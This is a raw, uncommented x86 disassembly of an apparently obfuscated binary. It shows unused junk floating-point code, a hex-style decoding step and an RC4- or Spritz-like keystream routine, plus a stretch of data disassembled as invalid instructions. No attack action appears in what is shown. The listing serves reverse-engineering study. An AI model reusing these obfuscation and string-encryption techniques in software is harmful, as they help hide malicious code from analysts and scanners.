mov dword [ebp - 0x470], edx
mov eax, dword [ebp - 0x474]
add eax, dword [ebp - 0x470]
movzx ecx, byte [eax]
mov dword [ebp - 0x3e4], ecx
mov dword [ebp - 0x3ac], 0x88
mov edx, dword [ebp - 0x210]
lea eax, [edx + edx + 1]
mov dword [ebp - 0x478], eax
movsd xmm0, qword [0x5826a0]
movsd qword [ebp - 0xa10], xmm0
movsd xmm0, qword [0x5825c0]
movsd qword [ebp - 0x798], xmm0
movsd xmm0, qword [0x582470]
movsd qword [ebp - 0x790], xmm0
movsd xmm0, qword [0x582330]
movsd qword [ebp - 0x81c], xmm0
movsd xmm0, qword [0x582170]
movsd qword [ebp - 0xa00], xmm0
movsd xmm0, qword [ebp - 0x81c]
mulsd xmm0, qword [ebp - 0xa00]
movsd qword [ebp - 0x81c], xmm0
movsd xmm0, qword [ebp - 0x798]
mulsd xmm0, qword [ebp - 0xa00]
movsd qword [ebp - 0x798], xmm0
movsd xmm0, qword [ebp - 0x81c]
subsd xmm0, qword [ebp - 0xa00]
movsd qword [ebp - 0x81c], xmm0
movsd xmm0, qword [ebp - 0x790]
mulsd xmm0, qword [ebp - 0xa00]
movsd qword [ebp - 0x790], xmm0
movsd xmm0, qword [ebp - 0x798]
mulsd xmm0, qword [ebp - 0xa00]
movsd qword [ebp - 0x798], xmm0
movsd xmm0, qword [ebp - 0xa00]
comisd xmm0, xmmword [ebp - 0x798]
jbe 0x48c96a
movsd xmm0, qword [ebp - 0xa00]
subsd xmm0, qword [ebp - 0x798]
movsd qword [ebp - 0xa00], xmm0
movsd xmm0, qword [ebp - 0x798]
mulsd xmm0, qword [ebp - 0x81c]
movsd qword [ebp - 0x798], xmm0
movsd xmm0, qword [ebp - 0x81c]
subsd xmm0, qword [ebp - 0xa10]
movsd qword [ebp - 0x81c], xmm0
movsd xmm0, qword [ebp - 0x81c]
divsd xmm0, qword [ebp - 0xa10]
movsd qword [ebp - 0x81c], xmm0
movsd xmm0, qword [ebp - 0x790]
subsd xmm0, qword [ebp - 0xa00]
movsd qword [ebp - 0x790], xmm0
movsd xmm0, qword [ebp - 0xa10]
mulsd xmm0, qword [ebp - 0x798]
movsd qword [ebp - 0xa10], xmm0
movsd xmm0, qword [ebp - 0x790]
subsd xmm0, qword [ebp - 0x81c]
movsd qword [ebp - 0x790], xmm0
movsd xmm0, qword [ebp - 0x81c]
divsd xmm0, qword [ebp - 0xa00]
movsd qword [ebp - 0x81c], xmm0
movsd xmm0, qword [ebp - 0x790]
addsd xmm0, qword [ebp - 0x81c]
movsd qword [ebp - 0x790], xmm0
movsd xmm0, qword [ebp - 0x798]
mulsd xmm0, qword [ebp - 0x790]
movsd qword [ebp - 0x798], xmm0
movsd xmm0, qword [ebp - 0x81c]
comisd xmm0, xmmword [ebp - 0xa10]
jbe 0x48c8ed
movsd xmm0, qword [ebp - 0x798]
subsd xmm0, qword [ebp - 0x790]
movsd qword [ebp - 0x798], xmm0
movsd xmm0, qword [ebp - 0x798]
mulsd xmm0, qword [ebp - 0x790]
movsd qword [ebp - 0x798], xmm0
movsd xmm0, qword [ebp - 0x790]
addsd xmm0, qword [ebp - 0x81c]
movsd qword [ebp - 0x790], xmm0
movsd xmm0, qword [ebp - 0x81c]
divsd xmm0, qword [ebp - 0xa00]
movsd qword [ebp - 0x81c], xmm0
movsd xmm0, qword [ebp - 0x798]
addsd xmm0, qword [ebp - 0x790]
movsd qword [ebp - 0x798], xmm0
jmp 0x48c965
movsd xmm0, qword [ebp - 0xa00]
mulsd xmm0, qword [ebp - 0x798]
movsd qword [ebp - 0xa00], xmm0
movsd xmm0, qword [ebp - 0xa10]
divsd xmm0, qword [ebp - 0x790]
movsd qword [ebp - 0xa10], xmm0
movsd xmm0, qword [ebp - 0x798]
mulsd xmm0, qword [ebp - 0x81c]
movsd qword [ebp - 0x798], xmm0
movsd xmm0, qword [ebp - 0xa10]
divsd xmm0, qword [ebp - 0x790]
movsd qword [ebp - 0xa10], xmm0
movsd xmm0, qword [ebp - 0xa10]
mulsd xmm0, qword [ebp - 0x790]
movsd qword [ebp - 0xa10], xmm0
jmp 0x48c9f7
movsd xmm0, qword [ebp - 0xa10]
addsd xmm0, qword [ebp - 0x790]
movsd qword [ebp - 0xa10], xmm0
movsd xmm0, qword [ebp - 0x81c]
addsd xmm0, qword [ebp - 0xa10]
movsd qword [ebp - 0x81c], xmm0
movsd xmm0, qword [ebp - 0x798]
mulsd xmm0, qword [ebp - 0x81c]
movsd qword [ebp - 0x798], xmm0
movsd xmm0, qword [ebp - 0x790]
subsd xmm0, qword [ebp - 0xa00]
movsd qword [ebp - 0x790], xmm0
movsd xmm0, qword [ebp - 0x790]
addsd xmm0, qword [ebp - 0xa00]
movsd qword [ebp - 0x790], xmm0
mov ecx, dword [ebp - 0x474]
add ecx, dword [ebp - 0x478]
movzx edx, byte [ecx]
mov dword [ebp - 0x3b0], edx
mov dword [ebp - 0x3b4], 0x3d
mov eax, dword [ebp - 0x3e4]
sub eax, dword [ebp - 0x3ac]
mov dword [ebp - 0x3b8], eax
mov ecx, dword [ebp - 0x3b0]
sub ecx, dword [ebp - 0x3b4]
mov dword [ebp - 0x3bc], ecx
mov edx, dword [ebp - 0x3b8]
shl edx, 4
mov dword [ebp - 0x47c], edx
mov eax, dword [ebp - 0x3bc]
mov dword [ebp - 0x480], eax
mov ecx, dword [ebp - 0x47c]
or ecx, dword [ebp - 0x480]
mov dword [ebp - 0x484], ecx
mov dl, byte [ebp - 0x484]
mov byte [ebp - 0x1c3], dl
movsd xmm0, qword [0x582748]
movsd qword [ebp - 0x4e8], xmm0
movsd xmm0, qword [0x5825e8]
movsd qword [ebp - 0x4fc], xmm0
movsd xmm0, qword [0x582350]
movsd qword [ebp - 0x844], xmm0
movsd xmm0, qword [ebp - 0x4fc]
mulsd xmm0, qword [ebp - 0x844]
movsd qword [ebp - 0x4fc], xmm0
movsd xmm0, qword [ebp - 0x4e8]
mulsd xmm0, qword [ebp - 0x844]
movsd qword [ebp - 0x4e8], xmm0
movsd xmm0, qword [ebp - 0x4fc]
subsd xmm0, qword [ebp - 0x844]
movsd qword [ebp - 0x4fc], xmm0
movsd xmm0, qword [ebp - 0x4e8]
comisd xmm0, xmmword [ebp - 0x844]
jbe 0x48cb49
movsd xmm0, qword [ebp - 0x4e8]
addsd xmm0, qword [ebp - 0x4fc]
movsd qword [ebp - 0x4e8], xmm0
movsd xmm0, qword [ebp - 0x4e8]
subsd xmm0, qword [ebp - 0x4fc]
movsd qword [ebp - 0x4e8], xmm0
movsd xmm0, qword [ebp - 0x4e8]
addsd xmm0, qword [ebp - 0x4fc]
movsd qword [ebp - 0x4e8], xmm0
movzx eax, byte [ebp - 0x1a7]
mov cl, byte [ebp + eax - 0x1254]
mov byte [ebp - 0x1bc], cl
jmp 0x48cd6c
movsd xmm0, qword [ebp - 0x844]
divsd xmm0, qword [ebp - 0x4fc]
movsd qword [ebp - 0x844], xmm0
movsd xmm0, qword [ebp - 0x4fc]
subsd xmm0, qword [ebp - 0x4e8]
movsd qword [ebp - 0x4fc], xmm0
movsd xmm0, qword [ebp - 0x4fc]
divsd xmm0, qword [ebp - 0x4e8]
movsd qword [ebp - 0x4fc], xmm0
movsd xmm0, qword [ebp - 0x4fc]
subsd xmm0, qword [ebp - 0x4e8]
movsd qword [ebp - 0x4fc], xmm0
movsd xmm0, qword [ebp - 0x4fc]
mulsd xmm0, qword [ebp - 0x4e8]
movsd qword [ebp - 0x4fc], xmm0
movsd xmm0, qword [ebp - 0x4e8]
addsd xmm0, qword [ebp - 0x844]
movsd qword [ebp - 0x4e8], xmm0
movsd xmm0, qword [ebp - 0x844]
comisd xmm0, xmmword [ebp - 0x4e8]
jbe 0x48cc38
movsd xmm0, qword [ebp - 0x844]
mulsd xmm0, qword [ebp - 0x4fc]
movsd qword [ebp - 0x844], xmm0
movsd xmm0, qword [ebp - 0x4fc]
subsd xmm0, qword [ebp - 0x4e8]
movsd qword [ebp - 0x4fc], xmm0
movsd xmm0, qword [ebp - 0x844]
addsd xmm0, qword [ebp - 0x4fc]
movsd qword [ebp - 0x844], xmm0
jmp 0x48cd6c
movsd xmm0, qword [ebp - 0x4fc]
subsd xmm0, qword [ebp - 0x844]
movsd qword [ebp - 0x4fc], xmm0
movsd xmm0, qword [ebp - 0x4fc]
mulsd xmm0, qword [ebp - 0x844]
movsd qword [ebp - 0x4fc], xmm0
movsd xmm0, qword [ebp - 0x844]
addsd xmm0, qword [ebp - 0x4e8]
movsd qword [ebp - 0x844], xmm0
movsd xmm0, qword [ebp - 0x4e8]
mulsd xmm0, qword [ebp - 0x844]
movsd qword [ebp - 0x4e8], xmm0
movsd xmm0, qword [ebp - 0x4fc]
divsd xmm0, qword [ebp - 0x4e8]
movsd qword [ebp - 0x4fc], xmm0
movsd xmm0, qword [ebp - 0x4fc]
mulsd xmm0, qword [ebp - 0x4e8]
movsd qword [ebp - 0x4fc], xmm0
movsd xmm0, qword [ebp - 0x4e8]
comisd xmm0, xmmword [ebp - 0x844]
jbe 0x48cd24
movsd xmm0, qword [ebp - 0x4e8]
mulsd xmm0, qword [ebp - 0x4fc]
movsd qword [ebp - 0x4e8], xmm0
movsd xmm0, qword [ebp - 0x4e8]
divsd xmm0, qword [ebp - 0x4fc]
movsd qword [ebp - 0x4e8], xmm0
movsd xmm0, qword [ebp - 0x4e8]
mulsd xmm0, qword [ebp - 0x4fc]
movsd qword [ebp - 0x4e8], xmm0
jmp 0x48cd6c
movsd xmm0, qword [ebp - 0x4e8]
addsd xmm0, qword [ebp - 0x4fc]
movsd qword [ebp - 0x4e8], xmm0
movsd xmm0, qword [ebp - 0x4e8]
mulsd xmm0, qword [ebp - 0x4fc]
movsd qword [ebp - 0x4e8], xmm0
movsd xmm0, qword [ebp - 0x844]
addsd xmm0, qword [ebp - 0x4e8]
movsd qword [ebp - 0x844], xmm0
movzx edx, byte [ebp - 0x18f]
movzx eax, byte [ebp + edx - 0x1254]
mov dword [ebp - 0x1980], eax
mov cl, byte [ebp - 0x18f]
add cl, 1
mov byte [ebp - 0x18f], cl
movzx edx, byte [ebp - 0x199]
add edx, dword [ebp - 0x1980]
mov byte [ebp - 0x199], dl
movzx eax, byte [ebp - 0x199]
movzx ecx, byte [ebp - 0x1a7]
mov dl, byte [ebp + eax - 0x1254]
mov byte [ebp + ecx - 0x1254], dl
movzx eax, byte [ebp - 0x198]
movzx ecx, byte [ebp - 0x199]
mov dl, byte [ebp + eax - 0x1254]
mov byte [ebp + ecx - 0x1254], dl
movzx eax, byte [ebp - 0x18f]
movzx ecx, byte [ebp - 0x198]
mov dl, byte [ebp + eax - 0x1254]
mov byte [ebp + ecx - 0x1254], dl
movzx eax, byte [ebp - 0x18f]
mov cl, byte [ebp - 0x1bc]
mov byte [ebp + eax - 0x1254], cl
movzx edx, byte [ebp - 0x1bc]
movzx eax, byte [ebp + edx - 0x1254]
movzx ecx, byte [ebp - 0x1bb]
add ecx, eax
mov byte [ebp - 0x1bb], cl
movzx edx, byte [ebp - 0x1c3]
movzx eax, byte [ebp - 0x199]
movzx ecx, byte [ebp + eax - 0x1254]
movzx eax, byte [ebp - 0x18f]
movzx eax, byte [ebp + eax - 0x1254]
add ecx, eax
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x1254]
xor edx, ecx
movzx eax, byte [ebp - 0x198]
movzx ecx, byte [ebp + eax - 0x1254]
movzx eax, byte [ebp - 0x1a7]
movzx eax, byte [ebp + eax - 0x1254]
add ecx, eax
movzx eax, byte [ebp - 0x1bb]
movzx eax, byte [ebp + eax - 0x1254]
add ecx, eax
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x1254]
movzx eax, byte [ebp + ecx - 0x1254]
xor edx, eax
mov byte [ebp - 0x198], dl
mov cl, byte [ebp - 0x1c3]
mov byte [ebp - 0x1a7], cl
mov dl, byte [ebp - 0x198]
mov byte [ebp - 0x1e4], dl
cmp dword [ebp - 0x210], 0
jle 0x48cee0
mov eax, dword [ebp - 0x210]
mov cl, byte [ebp - 0x1e4]
mov byte [ebp + eax - 0x4d], cl
mov edx, dword [ebp - 0x210]
add edx, 1
mov dword [ebp - 0x210], edx
mov eax, dword [ebp - 0x2f4]
add eax, 1
mov dword [ebp - 0x2f4], eax
mov ecx, dword [ebp - 0x210]
shl ecx, 1
mov dword [ebp - 0x470], ecx
movsd xmm0, qword [0x582608]
movsd qword [ebp - 0x6a4], xmm0
movsd xmm0, qword [0x5824a8]
movsd qword [ebp - 0x9b4], xmm0
movsd xmm0, qword [0x582368]
movsd qword [ebp - 0x8c0], xmm0
movsd xmm0, qword [0x582188]
movsd qword [ebp - 0x8f4], xmm0
movsd xmm0, qword [ebp - 0x6a4]
addsd xmm0, qword [ebp - 0x8f4]
movsd qword [ebp - 0x6a4], xmm0
movsd xmm0, qword [ebp - 0x6a4]
subsd xmm0, qword [ebp - 0x8f4]
movsd qword [ebp - 0x6a4], xmm0
movsd xmm0, qword [ebp - 0x6a4]
addsd xmm0, qword [ebp - 0x8f4]
movsd qword [ebp - 0x6a4], xmm0
movsd xmm0, qword [ebp - 0x8c0]
mulsd xmm0, qword [ebp - 0x8f4]
movsd qword [ebp - 0x8c0], xmm0
movsd xmm0, qword [ebp - 0x8c0]
comisd xmm0, xmmword [ebp - 0x8f4]
jbe 0x48d038
movsd xmm0, qword [ebp - 0x8f4]
addsd xmm0, qword [ebp - 0x9b4]
movsd qword [ebp - 0x8f4], xmm0
movsd xmm0, qword [ebp - 0x6a4]
subsd xmm0, qword [ebp - 0x8c0]
movsd qword [ebp - 0x6a4], xmm0
movsd xmm0, qword [ebp - 0x6a4]
addsd xmm0, qword [ebp - 0x8c0]
movsd qword [ebp - 0x6a4], xmm0
movsd xmm0, qword [ebp - 0x6a4]
addsd xmm0, qword [ebp - 0x8c0]
movsd qword [ebp - 0x6a4], xmm0
mov edx, dword [ebp - 0x474]
add edx, dword [ebp - 0x470]
movzx eax, byte [edx]
mov dword [ebp - 0x3e4], eax
jmp 0x48d1cc
movsd xmm0, qword [ebp - 0x9b4]
subsd xmm0, qword [ebp - 0x8c0]
movsd qword [ebp - 0x9b4], xmm0
movsd xmm0, qword [ebp - 0x6a4]
addsd xmm0, qword [ebp - 0x9b4]
movsd qword [ebp - 0x6a4], xmm0
movsd xmm0, qword [ebp - 0x8c0]
divsd xmm0, qword [ebp - 0x8f4]
movsd qword [ebp - 0x8c0], xmm0
movsd xmm0, qword [ebp - 0x9b4]
addsd xmm0, qword [ebp - 0x8c0]
movsd qword [ebp - 0x9b4], xmm0
movsd xmm0, qword [ebp - 0x8f4]
divsd xmm0, qword [ebp - 0x6a4]
movsd qword [ebp - 0x8f4], xmm0
movsd xmm0, qword [ebp - 0x6a4]
divsd xmm0, qword [ebp - 0x9b4]
movsd qword [ebp - 0x6a4], xmm0
movsd xmm0, qword [ebp - 0x9b4]
subsd xmm0, qword [ebp - 0x8c0]
movsd qword [ebp - 0x9b4], xmm0
movsd xmm0, qword [ebp - 0x6a4]
subsd xmm0, qword [ebp - 0x9b4]
movsd qword [ebp - 0x6a4], xmm0
movsd xmm0, qword [ebp - 0x6a4]
comisd xmm0, xmmword [ebp - 0x8c0]
jbe 0x48d16c
movsd xmm0, qword [ebp - 0x8f4]
divsd xmm0, qword [ebp - 0x9b4]
movsd qword [ebp - 0x8f4], xmm0
movsd xmm0, qword [ebp - 0x8c0]
divsd xmm0, qword [ebp - 0x6a4]
movsd qword [ebp - 0x8c0], xmm0
movsd xmm0, qword [ebp - 0x6a4]
divsd xmm0, qword [ebp - 0x8c0]
movsd qword [ebp - 0x6a4], xmm0
movsd xmm0, qword [ebp - 0x8f4]
subsd xmm0, qword [ebp - 0x9b4]
movsd qword [ebp - 0x8f4], xmm0
jmp 0x48d1cc
movsd xmm0, qword [ebp - 0x9b4]
subsd xmm0, qword [ebp - 0x8f4]
movsd qword [ebp - 0x9b4], xmm0
movsd xmm0, qword [ebp - 0x8f4]
addsd xmm0, qword [ebp - 0x9b4]
movsd qword [ebp - 0x8f4], xmm0
movsd xmm0, qword [ebp - 0x6a4]
addsd xmm0, qword [ebp - 0x8c0]
movsd qword [ebp - 0x6a4], xmm0
movsd xmm0, qword [ebp - 0x8c0]
addsd xmm0, qword [ebp - 0x6a4]
movsd qword [ebp - 0x8c0], xmm0
mov dword [ebp - 0x3ac], 0x88
mov ecx, dword [ebp - 0x210]
lea edx, [ecx + ecx + 1]
mov dword [ebp - 0x478], edx
mov eax, dword [ebp - 0x474]
add eax, dword [ebp - 0x478]
movzx ecx, byte [eax]
mov dword [ebp - 0x3b0], ecx
mov dword [ebp - 0x3b4], 0x3d
mov edx, dword [ebp - 0x3e4]
sub edx, dword [ebp - 0x3ac]
mov dword [ebp - 0x3b8], edx
mov eax, dword [ebp - 0x3b0]
sub eax, dword [ebp - 0x3b4]
mov dword [ebp - 0x3bc], eax
mov ecx, dword [ebp - 0x3b8]
shl ecx, 4
mov dword [ebp - 0x47c], ecx
mov edx, dword [ebp - 0x3bc]
mov dword [ebp - 0x480], edx
mov eax, dword [ebp - 0x47c]
or eax, dword [ebp - 0x480]
mov dword [ebp - 0x484], eax
mov cl, byte [ebp - 0x484]
mov byte [ebp - 0x1c3], cl
movzx edx, byte [ebp - 0x1a7]
mov al, byte [ebp + edx - 0x1254]
mov byte [ebp - 0x1bc], al
movzx ecx, byte [ebp - 0x18f]
movzx edx, byte [ebp + ecx - 0x1254]
mov dword [ebp - 0x1984], edx
mov al, byte [ebp - 0x18f]
add al, 1
mov byte [ebp - 0x18f], al
movzx ecx, byte [ebp - 0x199]
add ecx, dword [ebp - 0x1984]
mov byte [ebp - 0x199], cl
movzx edx, byte [ebp - 0x199]
movzx eax, byte [ebp - 0x1a7]
mov cl, byte [ebp + edx - 0x1254]
mov byte [ebp + eax - 0x1254], cl
movzx edx, byte [ebp - 0x198]
movzx eax, byte [ebp - 0x199]
mov cl, byte [ebp + edx - 0x1254]
mov byte [ebp + eax - 0x1254], cl
movzx edx, byte [ebp - 0x18f]
movzx eax, byte [ebp - 0x198]
mov cl, byte [ebp + edx - 0x1254]
mov byte [ebp + eax - 0x1254], cl
movzx edx, byte [ebp - 0x18f]
mov al, byte [ebp - 0x1bc]
mov byte [ebp + edx - 0x1254], al
movzx ecx, byte [ebp - 0x1bc]
movzx edx, byte [ebp + ecx - 0x1254]
movzx eax, byte [ebp - 0x1bb]
add eax, edx
mov byte [ebp - 0x1bb], al
movzx ecx, byte [ebp - 0x1c3]
movzx edx, byte [ebp - 0x199]
movzx eax, byte [ebp + edx - 0x1254]
movzx edx, byte [ebp - 0x18f]
movzx edx, byte [ebp + edx - 0x1254]
add eax, edx
and eax, 0xff
movzx eax, byte [ebp + eax - 0x1254]
xor ecx, eax
movzx edx, byte [ebp - 0x198]
movzx eax, byte [ebp + edx - 0x1254]
movzx edx, byte [ebp - 0x1a7]
movzx edx, byte [ebp + edx - 0x1254]
add eax, edx
movzx edx, byte [ebp - 0x1bb]
movzx edx, byte [ebp + edx - 0x1254]
add eax, edx
and eax, 0xff
movzx eax, byte [ebp + eax - 0x1254]
movzx edx, byte [ebp + eax - 0x1254]
xor ecx, edx
mov byte [ebp - 0x198], cl
mov al, byte [ebp - 0x1c3]
mov byte [ebp - 0x1a7], al
mov cl, byte [ebp - 0x198]
mov byte [ebp - 0x1e4], cl
cmp dword [ebp - 0x210], 0
jle 0x48d3e7
mov dword [ebp - 0xcd0], 0
jmp 0x48e152
mov edx, dword [ebp - 0xcd0]
add edx, 1
mov dword [ebp - 0xcd0], edx
cmp dword [ebp - 0xcd0], 0x10
jge 0x48e185
mov eax, dword [ebp - 0xcd0]
mov dword [ebp - 0xfa4], eax
cmp dword [ebp - 0xfa4], 0x10
jae 0x48e172
jmp 0x48e178
call fcn.0051c285
nop
mov ecx, dword [ebp - 0xfa4]
mov byte [ebp + ecx - 0x4c], 0
jmp 0x48e143
mov edx, dword [ebp - 0x1f4]
mov eax, dword [edx + 0x34]
mov dword [ebp - 0x1994], eax
lea ecx, [ebp - 0x4c]
push ecx
mov ecx, dword [ebp - 0x1994]
call fcn.004dd330
mov edx, dword [ebp - 0x1f4]
mov dword [edx + 0x54], eax
mov dword [ebp - 0x150], 0
mov dword [ebp - 0x154], 0
xorps xmm0, xmm0
movsd qword [ebp - 0xbc0], xmm0
xorps xmm0, xmm0
movsd qword [ebp - 0xb20], xmm0
xorps xmm0, xmm0
movsd qword [ebp - 0xb20], xmm0
jmp 0x48e1fb
movsd xmm0, qword [ebp - 0xb20]
addsd xmm0, qword [0x580ac0]
movsd qword [ebp - 0xb20], xmm0
movsd xmm0, qword [0x582268]
comisd xmm0, xmmword [ebp - 0xb20]
jbe 0x48e2ac
movsd xmm0, qword [0x582058]
mulsd xmm0, qword [ebp - 0xb20]
mulsd xmm0, qword [ebp - 0xb20]
movsd xmm1, qword [ebp - 0xb20]
mulsd xmm1, qword [ebp - 0xb20]
subsd xmm0, xmm1
movsd xmm1, qword [0x581e90]
mulsd xmm1, qword [ebp - 0xb20]
mulsd xmm1, qword [ebp - 0xb20]
addsd xmm1, qword [0x581ee8]
divsd xmm0, xmm1
addsd xmm0, qword [ebp - 0xbc0]
movsd qword [ebp - 0xbc0], xmm0
movsd xmm0, qword [ebp - 0xbc0]
comisd xmm0, xmmword [0x581f60]
jbe 0x48e2a7
movsd xmm0, qword [0x581e18]
mulsd xmm0, qword [ebp - 0xb20]
movsd xmm1, qword [ebp - 0xbc0]
subsd xmm1, xmm0
movsd qword [ebp - 0xbc0], xmm1
jmp 0x48e1e3
xorps xmm0, xmm0
comisd xmm0, xmmword [ebp - 0xbc0]
jbe 0x48e305
stosd dword es:[edi], eax
sbb al, 0xb2
adc esi, dword [edi + ecx + 0x15ae0eae]
mov dh, 0x1a
mov bl, 0x19
scasd eax, dword es:[edi]
sbb eax, 0xeb11cad
cmpsd dword [esi], dword es:[edi]
push ss
test eax, 0xb50eaf12
sbb dword [esi - 0x55e651f0], ebp
adc byte [edi - 0x4ef149e4], ah
adc eax, 0x11a811af
lodsb al, byte [esi]
adc byte [esi + 0x5e0eb30f], ch
push esp
and eax, 0x4d7e7938
pushal
and eax, 0x5e405b76
cmp esp, dword [esi]
jne 0x48e370
sub dword [eax + 0x21], esp
inc ebx
jmp 0x48f69f
mov dword [ebp - 0x150], 0x48e2b9
mov dword [ebp - 0x154], 0x48e2eb
mov eax, dword [ebp - 0x150]
mov dword [ebp - 0x938], eax
mov ecx, dword [ebp - 0x154]
mov dword [ebp - 0x1998], ecx
mov byte [ebp - 0x725], 0x19
mov dword [ebp - 0x3e8], 0
jmp 0x48e353
mov edx, dword [ebp - 0x3e8]
add edx, 1
mov dword [ebp - 0x3e8], edx
cmp dword [ebp - 0x3e8], 0x100
jae 0x48e374
mov eax, dword [ebp - 0x3e8]
mov cl, byte [ebp - 0x3e8]
mov byte [ebp + eax - 0x1ed8], cl
jmp 0x48e344
invalid
mov dword [ebp - 0xacc], 0
mov byte [ebp - 0x201], 0
mov dword [ebp - 0x3e8], 0xff
jmp 0x48e3a0
cmp dword [ebp - 0x3e8], 0
jbe 0x48e610
mov dword [ebp - 0xd38], 0
mov dword [ebp - 0xcd4], 1
mov eax, dword [ebp - 0xcd4]
cmp eax, dword [ebp - 0x3e8]
jae 0x48e3e1
mov ecx, dword [ebp - 0xcd4]
lea edx, [ecx + ecx + 1]
mov dword [ebp - 0xcd4], edx
jmp 0x48e3c1
mov eax, dword [ebp - 0xacc]
mov dword [ebp - 0xfb0], eax
cmp dword [ebp - 0xfb0], 3
ja case.default.0x48e400
mov ecx, dword [ebp - 0xfb0]
jmp dword [ecx*4 + 0x495164]
movzx edx, byte [ebp - 0x201]
movzx ebx, byte [ebp + edx - 0x1ed8]
movsd xmm0, qword [ebp - 0xbc0]
call fcn.0051c6e0
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x201], bl
jmp 0x48e4e9
movzx eax, byte [ebp - 0x201]
movzx ebx, byte [ebp + eax - 0x1ed8]
movsd xmm0, qword [ebp - 0xbc0]
call fcn.0051c6e0
shr eax, 8
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x201], bl
jmp 0x48e4e9
movzx ecx, byte [ebp - 0x201]
movzx ebx, byte [ebp + ecx - 0x1ed8]
movsd xmm0, qword [ebp - 0xbc0]
call fcn.0051c6e0
shr eax, 0x10
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x201], bl
jmp 0x48e4e9
movzx edx, byte [ebp - 0x201]
movzx ebx, byte [ebp + edx - 0x1ed8]
movsd xmm0, qword [ebp - 0xbc0]
call fcn.0051c6e0
shr eax, 0x18
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x201], bl
jmp 0x48e4e9
movzx eax, byte [ebp - 0x201]
movzx ecx, byte [ebp + eax - 0x1ed8]
mov edx, dword [ebp - 0x1998]
add edx, dword [ebp - 0xacc]
movzx eax, byte [edx - 4]
add ecx, eax
mov byte [ebp - 0x201], cl
mov ecx, dword [ebp - 0xacc]
add ecx, 1
mov dword [ebp - 0xacc], ecx
movzx edx, byte [ebp - 0x725]
cmp dword [ebp - 0xacc], edx
jb 0x48e527
mov dword [ebp - 0xacc], 0
movzx eax, byte [ebp - 0x725]
movzx ecx, byte [ebp - 0x201]
add ecx, eax
mov byte [ebp - 0x201], cl
movzx edx, byte [ebp - 0x201]
and edx, dword [ebp - 0xcd4]
mov dword [ebp - 0x930], edx
mov eax, dword [ebp - 0xd38]
add eax, 1
mov dword [ebp - 0xd38], eax
cmp dword [ebp - 0xd38], 0xb
jbe 0x48e566
mov eax, dword [ebp - 0x930]
xor edx, edx
div dword [ebp - 0x3e8]
mov dword [ebp - 0x930], edx
mov ecx, dword [ebp - 0x930]
cmp ecx, dword [ebp - 0x3e8]
ja 0x48e3e1
mov edx, dword [ebp - 0x3e8]
cmp edx, dword [ebp - 0x930]
je 0x48e60b
mov eax, 1
shl eax, 0
mov cl, byte [ebp + eax - 0x1ed8]
mov byte [ebp - 0x1c7], cl
mov edx, 1
imul eax, edx, 3
mov cl, byte [ebp + eax - 0x1ed8]
mov byte [ebp - 0x1d9], cl
mov edx, 1
imul eax, edx, 5
mov cl, byte [ebp + eax - 0x1ed8]
mov byte [ebp - 0x215], cl
mov edx, 1
imul eax, edx, 7
mov cl, byte [ebp + eax - 0x1ed8]
mov byte [ebp - 0x1d8], cl
movzx edx, byte [ebp - 0x201]
mov al, byte [ebp + edx - 0x1ed8]
mov byte [ebp - 0x1e6], al
mov dword [ebp - 0xfb4], 0x32
cmp dword [ebp - 0xfb4], 2
jle 0x48f64e
mov ecx, dword [ebp - 0xfb4]
and ecx, 1
jne 0x48f64e
mov dword [ebp - 0x2f8], 0
mov dword [ebp - 0x634], 0
mov edx, dword [ebp - 0x634]
add edx, 1
mov dword [ebp - 0x634], edx
mov dword [ebp - 0x934], 0
mov eax, dword [ebp - 0x2f8]
shl eax, 1
mov dword [ebp - 0x934], eax
mov dword [ebp - 0x864], 0
mov ecx, dword [ebp - 0x938]
add ecx, dword [ebp - 0x934]
movzx edx, byte [ecx]
add edx, dword [ebp - 0x864]
mov dword [ebp - 0x864], edx
mov dword [ebp - 0x86c], 0
mov eax, dword [ebp - 0x86c]
add eax, 0xa7
mov dword [ebp - 0x86c], eax
mov dword [ebp - 0x93c], 0
mov ecx, dword [ebp - 0x2f8]
lea edx, [ecx + ecx + 1]
mov dword [ebp - 0x93c], edx
mov dword [ebp - 0x870], 0
mov eax, dword [ebp - 0x938]
add eax, dword [ebp - 0x93c]
movzx ecx, byte [eax]
add ecx, dword [ebp - 0x870]
mov dword [ebp - 0x870], ecx
mov dword [ebp - 0x850], 0
mov edx, dword [ebp - 0x850]
add edx, 0xe
mov dword [ebp - 0x850], edx
mov dword [ebp - 0x854], 0
mov eax, dword [ebp - 0x864]
sub eax, dword [ebp - 0x86c]
add eax, dword [ebp - 0x854]
mov dword [ebp - 0x854], eax
mov dword [ebp - 0x858], 0
mov ecx, dword [ebp - 0x870]
sub ecx, dword [ebp - 0x850]
add ecx, dword [ebp - 0x858]
mov dword [ebp - 0x858], ecx
mov dword [ebp - 0x940], 0
mov edx, dword [ebp - 0x854]
shl edx, 4
mov dword [ebp - 0x940], edx
mov dword [ebp - 0x944], 0
mov eax, dword [ebp - 0x858]
mov dword [ebp - 0x944], eax
mov dword [ebp - 0x948], 0
mov ecx, dword [ebp - 0x940]
or ecx, dword [ebp - 0x944]
mov dword [ebp - 0x948], ecx
mov byte [ebp - 0x216], 0
mov dl, byte [ebp - 0x948]
mov byte [ebp - 0x216], dl
mov byte [ebp - 0x218], 0
movzx eax, byte [ebp - 0x1e6]
mov cl, byte [ebp + eax - 0x1ed8]
mov byte [ebp - 0x218], cl
movzx edx, byte [ebp - 0x1c7]
movzx eax, byte [ebp + edx - 0x1ed8]
mov dword [ebp - 0x199c], eax
mov cl, byte [ebp - 0x1c7]
add cl, 1
mov byte [ebp - 0x1c7], cl
movzx edx, byte [ebp - 0x1d9]
add edx, dword [ebp - 0x199c]
mov byte [ebp - 0x1d9], dl
movzx eax, byte [ebp - 0x1d9]
movzx ecx, byte [ebp - 0x1e6]
mov dl, byte [ebp + eax - 0x1ed8]
mov byte [ebp + ecx - 0x1ed8], dl
movzx eax, byte [ebp - 0x1d8]
movzx ecx, byte [ebp - 0x1d9]
mov dl, byte [ebp + eax - 0x1ed8]
mov byte [ebp + ecx - 0x1ed8], dl
movzx eax, byte [ebp - 0x1c7]
movzx ecx, byte [ebp - 0x1d8]
mov dl, byte [ebp + eax - 0x1ed8]
mov byte [ebp + ecx - 0x1ed8], dl
movzx eax, byte [ebp - 0x1c7]
mov cl, byte [ebp - 0x218]
